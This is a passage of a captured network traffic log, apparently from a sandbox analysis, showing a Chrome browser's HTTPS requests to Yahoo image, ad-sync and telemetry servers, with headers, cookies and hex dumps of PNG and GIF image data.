2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:20 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.4	50196	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	502	OUT	GET /iu/api/res/1.2/3E6F0ARiT3ZQ7FArihI9Bw--~B/YXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw/https://s.yimg.com/cv/apiv2/default/nba/20181226/500x500/timberwolves_wbg.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:20 UTC	1209	IN	HTTP/1.1 200 OK Content-Length: 3678 Content-Type: image/png Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 473171660170428388270482033204561033190,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Edge-Cache-Tag: 473171660170428388270482033204561033190,230260252097631031644186748561381059859,ae7a14591aaf8d474cdb3f92111c923e Etag: "5dcc9d5ec18d5efdf0290d538a346a95" Expiration: expiry-date="Tue, 11 Jun 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 13 Dec 2023 10:27:57 GMT Server: ATS Surrogate-Reporting: width=50,height=50,bytes=3678,owidth=500,oheight=500,obytes=17031,ef=(1,13,17,21,22,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Sun, 24 Dec 2023 04:15:35 GMT X-Served-By: cache-lga21952-LGA X-Cache: Miss from cloudfront, HIT X-Cache-Hits: 1 X-Timer: S1703391335.226715,VS0,VE1 Age: 1537905 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_by: cache-lga21952-LGA cld_latency: 1 Referrer-Policy: no-referrer-when-downgrade ATS-Carp-Promotion: 1 Connection: close
2024-01-10 23:27:20 UTC	201	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 41 54 53 2d 43 61 72 70 2d 50 72 6f 6d 6f 74 69 6f 6e 3a 20 31 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniffATS-Carp-Promotion: 1
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 09 70 48 59 73 00 00 17 11 00 00 17 11 01 ca 26 f3 3f 00 00 00 07 74 49 4d 45 07 e7 0c 0d 0a 1b 38 7c ac 42 94 00 00 0d fd 49 44 41 54 68 de cd 5a 69 54 55 d7 15 f6 4f f3 2b 0c 02 32 28 82 a0 38 82 80 80 88 88 32 4f 0f 1e a3 0c 8f c9 01 05 1c 01 51 51 41 40 44 05 15 10 31 8c 1a 31 36 69 b2 92 d8 a4 4d a3 8d 53 4c 8c 89 89 da 98 98 39 4d db 64 ad f6 4f 9a a6 6b b5 5d 5d 4d ba bb bf fd de bd 79 23 a8 c1 58 d7 3a f2 de 7d f7 9e b3 bf b3 f7 fe f6 70 ee 84 09 e3 f4 ef c4 a9 53 3e 3c 56 f0 38 c6 e3 e2 f1 91 91 cf 7b 07 86 fe de 75 ac ff 3b 0c 7c c6 35 fe ed 92 e1 9e 95 3c 7c 27 fc 3f fc 63 41 bc 79 34 b1 80 77 9a f6 1f a6 c2 b5 75 b4 58 53 46 3e 61 5a 72 Data Ascii: PNGIHDR22?pHYs&?tIME8\|BIDAThZiTUO+2(82OQQA@D116iMSL9MdOk]]My#X:}pS><V8{u;\|5<\|'?cAy4wuXSF>aZr
2024-01-10 23:27:20 UTC	1300	IN	Data Raw: f2 26 de 69 c7 c0 4c 72 9c 9f 41 4e c1 99 34 31 38 9b 3f 6b c9 3f 7b 21 85 96 84 92 c3 dc 54 72 8b a9 94 eb 8a ef 38 06 68 c9 29 34 4f 7c c8 7b e9 12 0a 2b 0d 25 d7 d0 04 f2 d4 d6 0b 18 9f e2 83 3c 67 06 85 24 e8 58 33 87 c4 cc 0a 2a 1b 78 43 8f aa f4 af d0 b2 21 03 08 b2 06 e4 69 24 7c c6 37 d7 34 75 53 f7 e0 53 f2 bd bc 7a 17 a5 30 23 61 d7 b0 eb 5e 39 4d 34 99 7d 01 82 f9 c4 2c a6 35 a7 66 52 f5 8b be 54 77 d6 87 5c 02 97 92 47 52 b5 89 06 20 a4 77 fe 5e 9a 9c 52 6b 22 94 07 d3 2f fc 4c d1 0c ee c3 1a 60 b6 35 35 0d 26 f2 14 56 35 4a c0 85 a6 16 a5 94 42 2b cf 9a 83 98 7a a0 eb e8 7f 70 73 6e 79 3d 2d d2 ac b2 60 a7 9a 5d 7b c5 8e ad 99 13 c0 64 ee f5 a7 c2 23 73 28 a7 63 1e 65 b6 f9 93 73 60 9c 38 b9 09 18 66 2e 07 7f 0d 15 31 23 76 f6 f6 89 e3 36 ec Data Ascii: &iLrAN418?k?{!Tr8h)4O\|{+%<g$X3*xC!i$\|74uSSz0#a^9M4},5fRTw\GR w^Rk"/L`55&V5JB+zpsny=-`]{d#s(ces`8f.1#v6
2024-01-10 23:27:20 UTC	1078	IN	Data Raw: 69 3e dd 7a ef 63 fa ec 8b af 48 b7 6e b7 dc 04 ca 9b b1 28 d3 24 93 45 34 97 52 75 46 8c 99 39 c5 d2 fe ce a3 77 0d 02 a3 b8 52 5f a3 23 f0 c1 84 9c 42 f2 24 87 33 61 2d 5e 1b be 83 50 80 7b 3b 07 9e 92 b4 3e 2a 63 ad 34 07 11 3a 10 42 00 a4 57 49 df 3d 38 77 41 73 2d 2e 57 1f 7c 10 84 92 f2 f5 49 a0 3a 31 a7 e1 d6 76 26 61 b9 14 3b a8 de 68 d5 a6 9d 63 82 e8 e3 d4 c4 d5 5f 5f bb bb c5 54 a8 66 8b bc 0d a9 bc b2 1e d6 46 50 46 27 c5 3d 20 85 2e bc f6 36 2d 5f b3 53 9c 1d 0d 42 04 73 04 75 00 59 81 30 8f 09 d1 30 fb c7 3f ff 25 37 23 81 84 a6 ea 1a f7 49 80 43 9c 40 cd 60 67 64 86 c6 63 67 6b 87 d4 dd 6e 01 49 4a b4 1d 9d b1 36 ef 52 9f 55 6a 11 0c 04 5f f8 9e 12 9b b0 36 d2 24 50 39 1a 11 4a 1d 6f d6 90 28 95 e3 00 b0 06 2e 42 5d 48 01 8c 6f 44 cb 06 35 Data Ascii: i>zcHn($E4RuF9wR_#B$3a-^P{;>*c4:BWI=8wAs-.W\|I:1v&a;hc__TfFPF'= .6-_SBsuY00?%7#IC@`gdcgknIJ6RUj_6$P9Jo(.B]HoD5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.4	50199	104.18.36.155	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	734	OUT	GET /rum?cm_dsp_id=4&external_user_id=7302204774592217984 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:20 UTC	987	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:20 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 8438b0a84c162896-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=253; Path=/; Domain=casalemedia.com; Expires=Tue, 09 Apr 2024 23:27:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=hR6%2B00Twc2%2BylYlHm2qVWxc6lbVqFsLR8T2BlIdPrpiBeooYqWTBJ%2BPD5eGMJnazGyCDcBjb1L4I1bWtLJdjA3phR2ZDGwuWfKm%2BbL%2BIxcayNupItoNOpiTSRylzNY1VBAusXHyKc0L00A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.4	50194	34.111.60.239	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	446	OUT	GET /ML/5c6e9ed3983c6bd791d9acf6b1bb037a__scv1__300x175.png HTTP/1.1 Host: images.mediago.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __mguid_=22210ca70ab2b1d52kwt8a00lr8eujxp
2024-01-10 23:27:20 UTC	741	IN	HTTP/1.1 200 OK x-guploader-uploadid: ABPtcPqbOUC_28t31EHP2SzlqMAKiOoOimyvE3--TfagEQXfWfaftpzn8LMEOtpuDPPjRUu_3gkWio3OiFN1zOToqTAoKg x-goog-generation: 1704431267896887 x-goog-metageneration: 1 x-goog-stored-content-encoding: identity x-goog-stored-content-length: 78548 x-goog-hash: crc32c=BaXOUQ== x-goog-hash: md5=dAqNQIwlnaW3qVRK2zPyzQ== x-goog-storage-class: STANDARD accept-ranges: bytes Content-Length: 78548 server: UploadServer via: 1.1 google Date: Wed, 10 Jan 2024 23:00:11 GMT Age: 1629 Last-Modified: Fri, 05 Jan 2024 05:07:47 GMT ETag: "740a8d408c259da5b7a9544adb33f2cd" Content-Type: image/png Cache-Control: public,max-age=3600 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:20 UTC	511	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 00 af 08 02 00 00 00 c8 4c 74 e0 00 00 80 00 49 44 41 54 78 9c c4 bd db b3 2e d7 71 1f b6 7a 5d 67 e6 bb ec db b9 03 20 00 82 14 29 2a 2e 3a 8e cb 4e c5 79 c8 5b de 53 a9 fc 33 a9 e4 2d 4f a9 72 92 2a 3f 38 8e a3 e4 c1 e5 b2 a5 2a 45 2e a9 4c 2a 72 c5 15 ab 14 c7 52 24 de c4 80 24 40 82 00 01 9c 83 73 db b7 ef 32 33 eb d2 a9 d5 bd 66 be f9 f6 de e7 f0 00 94 94 e1 e1 c6 b7 67 cf 37 b7 b5 ba fb d7 dd bf ee a5 b5 31 21 04 90 52 d0 86 20 6e de 10 c7 63 86 1d 08 00 57 8e 11 f0 a2 ef 4f 8e 02 10 30 1c 2f c4 de 57 78 cf f5 9d 00 37 9c bc dc 2b e6 d3 01 60 4a 7b df 05 1c 7e 83 dd ad de 74 87 88 bb 23 af ef bf ba 33 e5 3d 00 90 52 02 21 40 02 1d 45 c7 c2 de b9 01 f9 bb 38 3c 25 60 b9 63 e0 a7 e1 3b Data Ascii: PNGIHDR,LtIDATx.qz]g ).:Ny[S3-Or?8E.LrR$$@s23fg71!R ncWO0/Wx7+`J{~t#3=R!@E8<%`c;
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: d2 99 af 3c d4 6e 0f c0 60 1f c0 68 92 3e 49 b2 90 ff 23 8d d1 d6 9a da b9 59 e5 1a 57 55 95 ad ac a9 2b b7 68 e6 b3 fc ab ab 2b db 54 95 ca c2 e6 aa ca 1a a3 8d 51 d6 64 71 54 ca e8 2c bf 59 08 01 60 14 45 63 0c cb bc 54 92 85 b0 a8 00 fe 1f c8 f1 de f8 a8 a9 be 98 3e 05 8f d4 5f aa 10 be fa 56 66 d4 f0 b9 d8 91 2f 76 ae 62 56 06 51 be e9 88 5f 36 23 cb 37 71 72 4b fb db a0 c6 40 d2 6b 24 a3 07 f4 de 41 2a 55 8e e1 f7 3f bc 68 4d ca 78 bc fe 9e 41 16 fc b8 64 3a 51 c4 14 a3 28 62 96 10 8b cc 65 e9 cc cf 84 51 84 18 f9 9e 62 fe 20 30 8d 32 59 be 06 fb 48 61 b0 81 7b 4f 72 0d b6 4c fe 0c 83 42 fb 95 45 f7 46 21 fc e2 67 1b 3e f0 a4 26 28 31 22 9c b2 73 77 80 cc f3 dd 90 51 92 32 1b c0 6c b6 b4 74 36 db b8 86 24 30 1b bb ca ce aa 6c fa 9a 7a 5e 57 95 b3 a6 Data Ascii: <n`h>I#YWU+h+TQdqT,Y`EcT>_Vf/vbVQ_6#7qrK@k$A*U?hMxAd:Q(beQb 02YHa{OrLBEF!g>&(1"swQ2lt6$0lz^W
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 81 cf 12 d5 a7 e4 7d ec 20 fa 14 52 d7 45 4c 32 4b 96 68 11 d1 7b 4f 96 51 f8 20 91 b0 6b de 48 f4 82 0f bd cf 66 32 5b 56 64 5b 9a 10 23 60 be 93 94 6d ce 00 00 53 92 64 32 93 04 48 20 53 52 da 30 f0 25 c3 9c 38 94 7d 5d 4b 32 84 64 e5 8f 57 07 13 f0 45 ee c3 fe 88 c3 a0 2d 87 a8 e6 6e b4 e9 25 24 81 20 15 30 e0 17 83 0a 63 a8 3c 89 3d 2a 2b 2d c5 52 b4 d4 19 a4 d4 d6 64 f1 73 95 35 a6 71 6e 59 55 cd ac ae 67 75 5d 55 36 5b c0 c6 91 d5 73 c6 5a f2 02 47 eb 37 15 c2 2c 18 83 f8 8d 46 af 8c e6 70 c3 a3 d7 97 ef 33 fb 34 05 d5 cb fd f9 9c 86 89 bb f7 02 a7 2e 3d a2 66 97 e2 73 c0 c1 bf 1e 59 bd 9e 51 28 8a 71 12 d1 1f fe 40 3f 4b 20 9e 1c 89 41 81 97 70 0b f2 a8 8d b2 97 1f 7b d8 2a e7 74 e5 14 21 93 aa aa ac 35 b5 ad b2 41 63 d5 96 90 dc ba e4 fb 4e 80 30 Data Ascii: } REL2Kh{OQ kHf2[Vd[#`mSd2H SR0%8}]K2dWE-n%$ 0c<=+-Rds5qnYUgu]U6[sZG7,Fp34.=fsYQ(q@?K Ap{t!5AcN0
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: b3 59 53 d7 cd 7c 3e 3f 3c 3c cc 06 71 36 67 90 03 52 26 82 91 5a 01 66 1c e7 bb d4 45 a5 7c 9e 92 b1 6b d7 81 fe ca e6 85 c2 e8 22 61 64 3c c4 39 bb d0 fb be ef 53 08 18 23 bb 55 2c 45 3d 06 59 30 2e 05 c4 f4 9a 2d ae 10 9c fc 2d b8 88 3d db 98 02 cd 54 a1 24 68 50 31 9f 27 91 59 10 e4 c2 2a cb 38 2a 1b 04 a9 35 a8 ac 97 51 67 43 2d 85 2e 01 83 c6 2a ef 7b 92 c7 44 31 98 14 23 a6 10 31 8a 2c 76 18 ba 2e fb 9e 7d 08 9d 0f 91 a2 3e fc 4a 39 f3 19 63 24 90 26 05 68 04 6d 67 8b c5 e1 49 33 5b 74 18 1f 3e fc f4 dd ef 7d ef e2 c9 13 97 9d e3 92 84 18 3d 80 31 23 ca 62 c6 7b 8a 0b 07 28 33 8a 44 b5 9f d4 e6 dc cf 98 64 55 59 d2 b2 a7 2e f3 d1 4a 70 ae a5 10 56 54 86 91 4a 99 8c e8 cd ac 69 9c 35 55 e5 9a ba ae 28 f3 5e 91 37 38 6e 75 55 71 e2 61 2a 7b 6c ee c6 Data Ascii: YS\|>?<<q6gR&ZfE\|k"ad<9S#U,E=Y0.--=T$hP1'Y85QgC-.{D1#1,v.}>J9c$&hmgI3[t>}=1#b{(3DdUY.JpVTJi5U(^78nuUqa{l
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 9a 29 90 01 53 70 b1 d6 c6 49 2d bf fa 6b ff c5 7f fe 9f fd 2f cf 9e 3e 7b f8 89 15 26 26 8c 01 65 0c 38 30 f8 38 a2 c2 f9 2f ba a8 d5 4a 67 28 49 32 69 a0 98 4f d6 3d 9c e4 e6 64 ac 94 d2 1a c3 71 97 c2 1c 33 19 46 36 d9 ff ab b5 94 59 7b 92 6f 4f 8f 6c f3 bf 21 de a6 27 1f 46 bb 37 75 f9 4a d0 95 b1 3e 14 2b c8 74 b3 3d 1f 95 ee 8e 70 a8 28 dc e4 21 27 41 42 98 f6 48 66 d3 10 fe b5 ed c5 54 be 62 1e ff 12 02 33 57 e9 6c 93 fd 7f 95 34 62 1a 38 e4 69 8d 20 95 73 d9 e8 1d 1e 1e 1e 1e 1d 2e 16 cb c3 83 93 83 83 83 ba aa 28 82 ad 39 91 93 01 64 ef 93 88 44 7f ca 72 db f5 be 8b 17 2e 7a ab b4 88 a1 df b6 dd 66 b5 dd 5e 74 db cb 76 db 05 1f b3 87 d7 7b 10 b0 ed fb 6d ef b3 d2 0f 71 2c 7a c0 d1 e1 91 4c 46 c9 36 8f 14 54 d2 3c a6 2c 7c 24 15 30 84 aa b3 dc 60 Data Ascii: )SpI-k/>{&&e808/Jg(I2iO=dq3F6Y{oOl!'F7uJ>+t=p(!'ABHfTb3Wl4b8i s.(9dDr.zf^tv{mq,zLF6T<,\|$0`
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: f3 e5 bb 2e 6c 45 06 6f e0 b1 83 88 dd 66 7b b9 5d cb 14 d6 ed e5 c5 c5 a9 48 81 0c 0b 50 02 59 02 a6 98 a2 ce 8a d3 24 81 d3 4c 03 48 4e fd 71 4d 93 61 89 cb 86 88 dc 54 a9 c6 20 60 de 4d c5 2e 58 0a a0 0a 79 39 8f 50 36 a1 b8 7b 9f 08 10 53 92 94 a7 cb 06 5b 24 a4 f7 cd e9 3e 81 18 63 0a 44 67 21 01 4c c5 41 4d 94 0f 0c 29 c5 2c c9 7d cc 86 1b b2 41 0e 52 7a 80 d6 a8 6c f2 d4 e0 31 ad da 8d 0f 38 5f 2c 67 b3 19 a2 f2 68 9c 8d 82 e2 3e 9a aa 18 3a df 77 5d bf 3a 7b b2 5a 1d af 66 d5 72 a6 14 6a 95 a4 14 3d 93 cd 63 4a eb f5 26 75 fd 61 5d 27 89 21 db 71 30 12 f2 09 50 4c f8 65 68 4c 36 c8 95 35 d6 70 91 11 57 c2 6a 0e e2 b0 51 cb f7 46 3e ac 92 19 61 82 2c 37 0a 90 4f 68 48 e2 b3 04 96 e0 ca 2e af 20 14 b1 e4 25 70 f4 93 32 4d 7a 0c 76 ea 92 52 1d 1c 72 Data Ascii: .lEof{]HPY$LHNqMaT `M.Xy9P6{S[$>cDg!LAM),}ARzl18_,gh>:w]:{Zfrj=cJ&ua]'!q0PLehL65pWjQF>a,7OhH. %p2MzvRr
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 97 8e 8e 8e 41 55 e7 e7 a7 0f 3f fe e8 e7 1f bc 77 f6 fc 49 d8 6e 22 2a 00 6d 00 9a 0c 38 39 a9 60 4a 79 11 39 79 4a 12 6b cc 16 35 c8 f6 56 64 c4 07 23 5b 1a 84 2e 39 97 52 bb 8b 62 2c 1a 94 9a c4 4f 4e df 3c 27 f6 48 16 b3 f0 0f 09 7d 99 9d bb 6b 4c eb 31 d4 c9 fe 96 c4 61 97 64 96 3e 16 b4 ba b7 ed e6 f3 1e da dc 8f a9 d0 54 a2 60 d9 8e 58 72 7d 46 e3 f8 c5 24 f6 f8 98 5c 6a f3 32 4b f8 c2 a2 c1 eb 81 99 1b d9 6d 2f 3e ed 4b 12 18 e5 cd 70 30 8a 53 63 08 91 5a b9 d4 55 7d 30 5f 1c 1c 1d 1f df ba 7d ff c1 83 db b7 ef 9e dc 3a 9e cd 66 3c 32 08 32 41 92 0a bc 52 b3 e3 bb df fc 5b 7f eb 9b 6f 1e 1f 81 90 c9 93 66 31 7c 65 64 8c 49 75 e8 14 bd d4 c7 95 ae 67 4d 33 6b 28 dc 9d 3d a2 3c 55 04 52 18 1d d8 bd d1 a5 ae 02 e4 38 03 80 7b 17 ec 8a 5c 28 f3 94 85 Data Ascii: AU?wIn"*m89`Jy9yJk5Vd#[.9Rb,ON<'H}kL1ad>T`Xr}F$\j2Km/>Kp0ScZU}0_}:f<22AR[of1\|edIugM3k(=<UR8{\(
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 3f 98 cf e7 55 5d 3b 97 ed 9f 82 0a 00 42 d6 f4 fd e2 f8 f8 f5 77 fe c6 db f7 ef 5b 8c 58 3a 0e 88 92 ad ca 73 38 7b 68 67 42 fc e1 1f fd 9b 7f fe 4f ff d9 f7 ff ec cf 45 eb 0f 66 f3 07 b7 5f 37 a0 9d d1 56 73 64 2d 09 91 f2 f4 8c 7d 8a 51 d2 c4 a6 02 38 82 7c 59 42 c9 12 4a 48 a8 20 5b eb 90 d5 7b 7e ea 48 fb 69 72 20 37 3d 94 94 b9 0d 25 2f 05 9c c8 45 8e d3 60 a4 da 25 20 49 12 13 4f 86 eb 65 50 68 a1 28 2d c3 3a 5f 27 aa ea 81 fc b2 12 ea 32 84 21 fb c1 cc 14 c7 0c bb 35 05 80 c9 e9 0b 94 b0 c8 07 13 70 4d 40 25 bc a0 12 26 1f 03 24 1b 63 30 26 52 07 8d a0 14 b7 d2 08 5a 27 1f 3c a1 de e4 db 0e 64 df 6e c1 68 e5 5c 6f ed 36 bf 76 6b 6d 25 9d d3 c6 38 09 4e eb c4 5d 58 4b c4 36 85 14 02 80 ac aa 95 b3 36 90 60 03 10 4d c7 98 3c f2 52 2a 51 c2 2b a5 41 Data Ascii: ?U];Bw[X:s8{hgBOEf_7Vsd-}Q8\|YBJH [{~Hir 7=%/E`% IOePh(-:_'2!5pM@%&$c0&RZ'<dnh\o6vkm%8N]XK66`M<R*Q+A
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 7a 3b a1 76 cd fd c5 ed 77 16 47 47 4d 33 33 50 51 3f 97 76 db 6d d6 eb 8f db cb 0f 45 bb 95 c9 26 52 fe 14 41 8f 41 09 ad 5c 9e 40 52 22 57 aa 42 d6 48 e4 2c f6 80 1a 7c 14 d9 8a 05 f2 4b a9 a0 02 14 c3 cf 28 0c 1b 5c 16 1e 6e cb 9f 7d 0d 99 b5 7e 86 f8 12 25 39 04 84 3c 21 29 11 12 5a 03 91 14 16 85 6c b2 81 eb 55 ec 7d 47 6f 3f cb 8c e4 ae 54 5a 87 18 8c 54 2a 39 af 7a e6 7b a1 4f 52 00 57 1b f6 a1 4f 41 c7 0e bd 4d c1 a5 d0 c7 d8 fb f9 7c 3e 16 ce 72 d1 41 c4 18 3d 9e af 37 4a 3d d3 d9 50 e6 c7 a3 26 15 d9 21 b4 52 6b a9 41 4f 3b 03 66 83 2e 86 d6 b1 05 10 0a 39 c4 9f 05 7b 7a 25 a2 29 41 4c 04 8f b8 10 70 93 d8 64 d0 31 48 c2 00 47 27 9d 65 29 d6 72 03 55 4b 0c 57 1a 13 89 94 20 9a da ae 5d ba 0b 87 75 0c e8 00 e4 b6 a8 25 12 23 87 e6 f2 13 70 8b 8c Data Ascii: z;vwGGM33PQ?vmE&RAA\@R"WBH,\|K(\n}~%9<!)ZlU}Go?TZT*9z{ORWOAM\|>rA=7J=P&!RkAO;f.9{z%)ALpd1HG'e)rUKW ]u%#p
2024-01-10 23:27:20 UTC	1252	IN	Data Raw: 13 5a a4 7e 93 15 7e 7d e0 9a 45 55 1b 67 1b a5 65 db 9e 77 ed 56 a0 72 a8 a4 93 42 a4 99 bb f7 60 d6 9c ba 1f 9d 3d f9 48 ca a0 a5 21 9e 73 21 d3 08 ad 01 a3 64 3a 76 f6 ff 62 11 02 4e 21 0d e3 5a 96 ad 80 92 d1 19 22 d0 49 40 10 42 e1 90 c8 c2 81 7f cc ad 07 53 44 a9 c9 e8 82 02 a9 8b 83 02 06 14 28 25 54 42 8f 09 92 b1 52 05 25 b3 2f 47 ed 85 63 46 b0 29 46 af 0a ec 43 29 99 5f 26 a5 27 8b 15 94 88 19 c7 fa 18 b0 f7 3e a4 10 53 e7 7d 53 37 a9 f3 71 56 3b 17 b4 d6 59 93 05 e1 7d ec 7a bf ee 7c ef bb 10 7d 20 bf 0c b5 5a 48 0d 96 93 a7 d9 19 4e d3 be 7a bc 64 13 15 81 50 54 39 e3 db a9 dc 4c 8c e0 8d 2b 4e bd cc f4 bd 28 fd 30 6e 53 f1 1b 8f 4c 90 46 5e 28 cb dc ae 71 fb e0 14 0e dd 2e b8 f8 2c 5d 89 92 c0 d5 2b c2 a0 49 41 8b 49 e5 62 f9 99 be 08 40 1d Data Ascii: Z~~}EUgewVrB`=H!s!d:vbN!Z"I@BSD(%TBR%/GcF)FC)_&'>S}S7qV;Y}z\|} ZHNzdPT9L+N(0nSLF^(q.,]+IAIb@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.4	50206	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:20 UTC	1683	OUT	POST /p?s=2023538075&t=1704929239334&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&test=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&pd=unknown&pt=home&A_utm=%7B%22GAM_TOP_RIGHT_BRSTIME%22%3A6314%2C%22GAM_TOP_RIGHT_FTIME%22%3A7864%2C%22GAM_TOP_RIGHT_RTIME%22%3A12194%7D HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; 